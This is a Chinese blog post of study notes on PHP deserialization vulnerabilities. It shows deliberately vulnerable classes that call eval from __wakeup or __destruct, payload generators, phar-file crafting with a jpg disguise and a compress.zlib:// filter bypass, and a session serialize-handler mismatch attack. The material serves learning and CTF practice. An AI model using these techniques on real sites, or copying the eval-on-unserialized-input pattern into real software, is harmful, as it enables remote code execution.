自己的博客留着写一点自己平常的研究性学习的笔记吧,csdn上就放一些漏洞学习的笔记,顺便供有相同兴趣的同学们参阅, 这次放上搁置已久的 php 反序列化的漏洞 : p
我们都用过压缩文件,其实序列化过程也就是一种类似压缩文件的过程,并且按照一定的格式进行存储。
牵扯的两个函数就是序列化函数和反序列化函数。
下面我们通过代码来看看序列化后数据的存储格式
class rt95{
private $test1 = "test1";
protected $test2 = "test2";
public $test3 = "test3";
public function echo_hah(){
echo "hah";
}
}
$obj = new rt95;
$data = serialize($obj);
echo $data;
输出结果如下图
这里就简单介绍下每部分的数据代表的含义
这里需要注意的有两点:
序列化不会存储类中的方法。
private 和 protected 的属性值格式其实具有特殊性,具体格式如下
private ---> %00类名%00属性名
protected ---> %00*%00属性名
证明截图如下:
攻击利用的条件
上一个例子来看:
test.php
class rt95
{
private $test1 = "test1";
protected $test2 = "test2";
public function echo_hah()
{
echo "hah";
}
public function __wakeup()
{
eval($this->test3);
}
}
unserialize($_GET['test']);
魔法函数反序列化时候执行危险函数。观察,当下满足条件:
构造 payload,输出为 反序列化格式的数据,配送到 test 参数里面构成攻击
evil.php
class rt95{
public $test3="phpinfo();";
}
$obj = new rt95;
$data = serialize($obj);
file_put_contents("test1.txt",$data);
复制 test1.txt 中的内容,并且构造攻击的 url ,访问结果如下:
攻击达成。
整个利用过程具有循环闭合的特点:
寻找 参数可控的unserialize()函数 —> 寻找可利用的类和属性 —> 构造序列化的 payload —> 回头执行 函数unserialize()
Orange 提出的这个点很好的扩充了反序列化的攻击面。简单的原理就是
phar 文件包在生成时会以序列化的形式存储用户自定义的 meta-data,配合 phar:// 我们就可以以打开流文件的形式配合一些特定的文件函数来反序列化操作,从而触发我们构造的 payload。
这里简单介绍下 phar 文件的格式:
stub
用来标识 phar 文件的根,格式为
***
满足这个固定的结束格式字符串就可以被 php解析器 认定为 phar文件,不论后缀名如何。
a manifest describing the contents
顾名思义,用来描述用户自定义的内容描述,也是会被序列化的数据
the file contents
被存储的文件
下面给一个构造 phar 文件的例子
class rt95{
}
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar ->setStub("");
$obj = new rt95;
$phar->setMetadata($obj);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
为了验证满足 phar 文件格式任何类型的文件都可以被反序列化,我们改动上面的代码后缀名为 jpg,再来试试
class rt95{
}
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar ->setStub("");
$obj = new rt95;
$phar->setMetadata($obj);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
rename(__DIR__.'/evil.phar',__DIR__.'/evil.jpg');
?>
尝试打开 jpg 文件
class rt95{
function __wakeup()
{
echo "wakeup called";
}
}
$test = file_get_contents("phar://evil.jpg");
?>
确实可以正确的反序列化。
所以 phar:// 协议下的反序列化攻击过程可以总结为如下循环 :
相关的文件函数的参数可控 —>
上下文具有可以利用的类的属性,还有魔法方法 —>
具有上传文件的权限,知道上传文件的相对路径 —>
构造设计好的 phar 格式的文件并上传 —>
使用 phar:// 协议构造解析设计好并上传的恶意文件 —>
等待文件函数进行解析
目前经过测试后可以反序列化的文件函数有如下:
fileatime | filectime | file_exists | file_get_contents |
---|---|---|---|
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fikeperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
还可以从 php 源码层面下手,由 k 学长的博客测试结果可以知道,底层调用 php_stream_open_wrapper_ex() 函数的的函数都可以实现 phar 格式文件的反序列化,剩余的我们可以自己下载源码去测试。
这里再加一个 phar 协议被过滤的绕过方法:
evil.php
class Test{
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
test.php
error_reporting(0);
class Test{
public function __wakeup(){
echo "__wakeup called";
}
}
$filename = 'compress.zlib://phar://phar.phar';
file_get_contents($filename);
?>
访问 test.php,compress.zlib 协议下的嵌套 phar 协议文件也会被反序列化,可以用在 phar 协议被过滤的情况。而且仅就从 phar 协议上说,可以具体到被包含的文件 test.txt 即这样的文件名 phar://phar.phar/test.txt
,也可以是包含 test.txt 的 phar 格式文件,即 phar://phar.phar
,都会被反序列化。
首先我们需要较为清楚地了解 php 的 session 机制
当 session_start() 函数被调用时,或者 php_ini 文件中的 session_auto_start 被设置为 1 时,php 内部会调用会话管理器,访问用户的 $_SESSION,并将其中的值序列化后存放在指定文件中。
与之对应的几个参数
session.auto_start 指定会话模块是否在请求开始时启动一个会话。默认为0不启动。
session.save_handler session保存形式,默认为files。
session.save_path session保存路径,默认为/tmp。文件默认以sess_xxx开头。
session.upload_progress.cleanup 一旦读取了所有post数据,立即清除进度信息。默认开启。
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。
session.serialize_handler 定义用来序列化和反序列化的处理器名字。默认是php。
session.upload_progress.enabled 默认开启,会将上传文件的进度信息填充进入 $SESSION 数组
简单介绍下几个参数和相关处理方法:
session.serialize_handler
是用来序列化和反序列化的处理器的名字,主要有两种处理器
php
处理的数据序列化格式为 键名|键值
php_serialize
处理数据的序列化格式就是调用 serialize() 函数
session.upload_progress.enabled
session.upload_progress.name 默认值是 PHP_SESSION_UPLOAD_PROGRESS
, POST 数据中如果有这个键名的话,将会存储文件信息进入 $SESSION 数组。存入名默认前缀是 upload_progress_
,后跟的是 POST 的PHP_SESSION_UPLOAD_PROGRESS
的值。
我们利用存入 session 与 取出 seesion 的解析器不一致的差异,来构造相应的 payload ,使得取出 seesion 数据时反序列化时触发漏洞。
ini_set('session.serialize_handler','php');
session_start();
class rt95{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo'])){
$m = new rt95();
}
else{
highlight_string(file_get_contents(__FILE__));
}
假如当下我们的 php_ini 文件里面的解析器为 php_serialize,题目脚本里面设置的为 php,则我们可以构造对应的文件值为 php 解析器可以识别的序列化内容(带 | ),然后取出 session 时候按照 php解析器的规则进行反序列化,即把 | 符后面的构造内容进行反序列化,从而触发反序列化漏洞。
我们构造一个假的上传文件的 html 文件
<form action="test.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
form>
抓包后修改文件修改文件内容为构造内容
解析触发漏洞,执行命令。
反序列化漏洞很有意思,不同语言具有不同的反序列化机制,可以相关的深入学习一下。
ref:
http://llfam.cn/2019/04/01/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%87%BA%E7%8E%B0%E5%9C%BA%E6%99%AF
https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E4%BE%8B%E9%A2%98%E4%B8%80
https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/